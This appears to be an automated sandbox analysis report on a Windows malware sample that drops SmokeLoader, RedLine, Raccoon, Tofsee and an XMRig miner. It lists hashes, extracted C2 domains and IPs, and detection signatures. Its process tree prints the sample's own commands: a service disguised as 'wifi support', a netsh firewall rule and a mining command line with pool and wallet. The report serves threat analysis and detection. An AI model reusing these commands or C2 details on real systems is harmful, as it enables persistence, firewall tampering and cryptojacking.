Analysis

  • max time kernel
    40s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    24-09-2021 16:31

General

  • Target

    2c1a477bf201d3cae1e15c81d164fb05.exe

  • Size

    285KB

  • MD5

    2c1a477bf201d3cae1e15c81d164fb05

  • SHA1

    5dba8661b62ac6ef622e7e14678369c1dc94f586

  • SHA256

    843140b0a3f095d74fe2682d3ae029d4da70a5bae79850cf047a72c9d4a882c0

  • SHA512

    4460f5217e1557bf99f79dc08eeebcc42814f9deb186b61429fa084fe5b4b81e6279007fac5d7d776610eb2bfdfcdbfbdc0e39ff5e911fa07f494651d283cd9d

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

qq

C2

135.181.142.223:30397

Extracted

Family

redline

C2

178.132.3.103:80

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

700$

C2

65.21.231.57:60751

Extracted

Family

redline

Botnet

russianhack

C2

109.234.38.212:6677

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 14 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2c1a477bf201d3cae1e15c81d164fb05.exe
    "C:\Users\Admin\AppData\Local\Temp\2c1a477bf201d3cae1e15c81d164fb05.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Users\Admin\AppData\Local\Temp\2c1a477bf201d3cae1e15c81d164fb05.exe
      "C:\Users\Admin\AppData\Local\Temp\2c1a477bf201d3cae1e15c81d164fb05.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:860
  • C:\Users\Admin\AppData\Local\Temp\BF1.exe
    C:\Users\Admin\AppData\Local\Temp\BF1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:840
    • C:\Users\Admin\AppData\Local\Temp\BF1.exe
      C:\Users\Admin\AppData\Local\Temp\BF1.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:556
  • C:\Users\Admin\AppData\Local\Temp\EB0.exe
    C:\Users\Admin\AppData\Local\Temp\EB0.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Users\Admin\AppData\Local\Temp\EB0.exe
      C:\Users\Admin\AppData\Local\Temp\EB0.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1104
  • C:\Users\Admin\AppData\Local\Temp\146C.exe
    C:\Users\Admin\AppData\Local\Temp\146C.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1216
  • C:\Users\Admin\AppData\Local\Temp\1A17.exe
    C:\Users\Admin\AppData\Local\Temp\1A17.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xolwagtw\
      2⤵
        PID:1496
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\geommclb.exe" C:\Windows\SysWOW64\xolwagtw\
        2⤵
          PID:836
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xolwagtw binPath= "C:\Windows\SysWOW64\xolwagtw\geommclb.exe /d\"C:\Users\Admin\AppData\Local\Temp\1A17.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1056
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description xolwagtw "wifi internet conection"
            2⤵
              PID:1088
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start xolwagtw
              2⤵
                PID:1720
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:932
              • C:\Users\Admin\AppData\Local\Temp\207E.exe
                C:\Users\Admin\AppData\Local\Temp\207E.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1156
              • C:\Users\Admin\AppData\Local\Temp\2BD5.exe
                C:\Users\Admin\AppData\Local\Temp\2BD5.exe
                1⤵
                • Executes dropped EXE
                PID:1212
              • C:\Users\Admin\AppData\Local\Temp\2F9D.exe
                C:\Users\Admin\AppData\Local\Temp\2F9D.exe
                1⤵
                • Executes dropped EXE
                • Adds Run key to start application
                PID:468
              • C:\Windows\SysWOW64\xolwagtw\geommclb.exe
                C:\Windows\SysWOW64\xolwagtw\geommclb.exe /d"C:\Users\Admin\AppData\Local\Temp\1A17.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:628
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  PID:1664
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:2236
                • C:\Users\Admin\AppData\Local\Temp\3874.exe
                  C:\Users\Admin\AppData\Local\Temp\3874.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1648
                • C:\Users\Admin\AppData\Local\Temp\43AC.exe
                  C:\Users\Admin\AppData\Local\Temp\43AC.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1552
                • C:\Users\Admin\AppData\Local\Temp\4CF0.exe
                  C:\Users\Admin\AppData\Local\Temp\4CF0.exe
                  1⤵
                    PID:840
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      2⤵
                        PID:1412
                    • C:\Users\Admin\AppData\Local\Temp\5A2A.exe
                      C:\Users\Admin\AppData\Local\Temp\5A2A.exe
                      1⤵
                        PID:1460
                      • C:\Users\Admin\AppData\Local\Temp\6958.exe
                        C:\Users\Admin\AppData\Local\Temp\6958.exe
                        1⤵
                          PID:1460
                          • C:\Users\Admin\AppData\Local\Temp\6958.exe
                            "C:\Users\Admin\AppData\Local\Temp\6958.exe"
                            2⤵
                              PID:2616

                          Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • memory/468-118-0x0000000000400000-0x0000000002B8F000-memory.dmp

                            Filesize

                            39.6MB

                          • memory/468-117-0x0000000000020000-0x000000000002D000-memory.dmp

                            Filesize

                            52KB

                          • memory/628-119-0x0000000000400000-0x0000000002B90000-memory.dmp

                            Filesize

                            39.6MB

                          • memory/840-139-0x0000000000FE0000-0x0000000001054000-memory.dmp

                            Filesize

                            464KB

                          • memory/840-140-0x00000000000D0000-0x00000000000D1000-memory.dmp

                            Filesize

                            4KB

                          • memory/840-143-0x0000000075F30000-0x0000000075F77000-memory.dmp

                            Filesize

                            284KB

                          • memory/860-55-0x00000000751A1000-0x00000000751A3000-memory.dmp

                            Filesize

                            8KB

                          • memory/860-53-0x0000000000400000-0x0000000000409000-memory.dmp

                            Filesize

                            36KB

                          • memory/1104-82-0x0000000000400000-0x0000000000422000-memory.dmp

                            Filesize

                            136KB

                          • memory/1104-91-0x00000000048B0000-0x00000000048B1000-memory.dmp

                            Filesize

                            4KB

                          • memory/1104-85-0x0000000000400000-0x0000000000422000-memory.dmp

                            Filesize

                            136KB

                          • memory/1156-101-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

                            Filesize

                            4KB

                          • memory/1156-97-0x0000000001180000-0x0000000001181000-memory.dmp

                            Filesize

                            4KB

                          • memory/1212-111-0x0000000004870000-0x0000000004871000-memory.dmp

                            Filesize

                            4KB

                          • memory/1212-108-0x0000000000340000-0x0000000000341000-memory.dmp

                            Filesize

                            4KB

                          • memory/1216-79-0x00000000051C0000-0x00000000051C1000-memory.dmp

                            Filesize

                            4KB

                          • memory/1216-77-0x0000000000130000-0x0000000000131000-memory.dmp

                            Filesize

                            4KB

                          • memory/1268-56-0x0000000000020000-0x0000000000029000-memory.dmp

                            Filesize

                            36KB

                          • memory/1400-57-0x0000000002AF0000-0x0000000002B06000-memory.dmp

                            Filesize

                            88KB

                          • memory/1400-102-0x00000000040A0000-0x00000000040B6000-memory.dmp

                            Filesize

                            88KB

                          • memory/1412-159-0x0000000000400000-0x0000000000401000-memory.dmp

                            Filesize

                            4KB

                          • memory/1412-146-0x0000000000400000-0x0000000000422000-memory.dmp

                            Filesize

                            136KB

                          • memory/1412-154-0x0000000000400000-0x0000000000422000-memory.dmp

                            Filesize

                            136KB

                          • memory/1412-156-0x0000000000400000-0x0000000000422000-memory.dmp

                            Filesize

                            136KB

                          • memory/1460-157-0x0000000000C70000-0x0000000000C71000-memory.dmp

                            Filesize

                            4KB

                          • memory/1460-170-0x00000000043B0000-0x00000000043D3000-memory.dmp

                            Filesize

                            140KB

                          • memory/1460-169-0x0000000005090000-0x00000000050DE000-memory.dmp

                            Filesize

                            312KB

                          • memory/1460-168-0x0000000000950000-0x0000000000998000-memory.dmp

                            Filesize

                            288KB

                          • memory/1460-167-0x0000000000360000-0x0000000000367000-memory.dmp

                            Filesize

                            28KB

                          • memory/1552-131-0x0000000000360000-0x00000000003F0000-memory.dmp

                            Filesize

                            576KB

                          • memory/1552-132-0x0000000000400000-0x0000000002BD0000-memory.dmp

                            Filesize

                            39.8MB

                          • memory/1648-129-0x00000000003E0000-0x00000000003FF000-memory.dmp

                            Filesize

                            124KB

                          • memory/1648-130-0x0000000000840000-0x000000000085E000-memory.dmp

                            Filesize

                            120KB

                          • memory/1648-135-0x0000000004771000-0x0000000004772000-memory.dmp

                            Filesize

                            4KB

                          • memory/1648-133-0x0000000000230000-0x0000000000260000-memory.dmp

                            Filesize

                            192KB

                          • memory/1648-134-0x0000000000400000-0x00000000004BF000-memory.dmp

                            Filesize

                            764KB

                          • memory/1664-120-0x0000000000080000-0x0000000000095000-memory.dmp

                            Filesize

                            84KB

                          • memory/1696-65-0x00000000007A0000-0x00000000007A1000-memory.dmp

                            Filesize

                            4KB

                          • memory/1696-63-0x0000000000170000-0x0000000000171000-memory.dmp

                            Filesize

                            4KB

                          • memory/1820-94-0x0000000000020000-0x0000000000033000-memory.dmp

                            Filesize

                            76KB

                          • memory/1820-93-0x0000000000400000-0x0000000002B90000-memory.dmp

                            Filesize

                            39.6MB

                          • memory/2236-161-0x00000000000F0000-0x00000000001E1000-memory.dmp

                            Filesize

                            964KB

                          • memory/2616-172-0x0000000000400000-0x000000000041E000-memory.dmp

                            Filesize

                            120KB

                          • memory/2616-175-0x0000000000400000-0x000000000041E000-memory.dmp

                            Filesize

                            120KB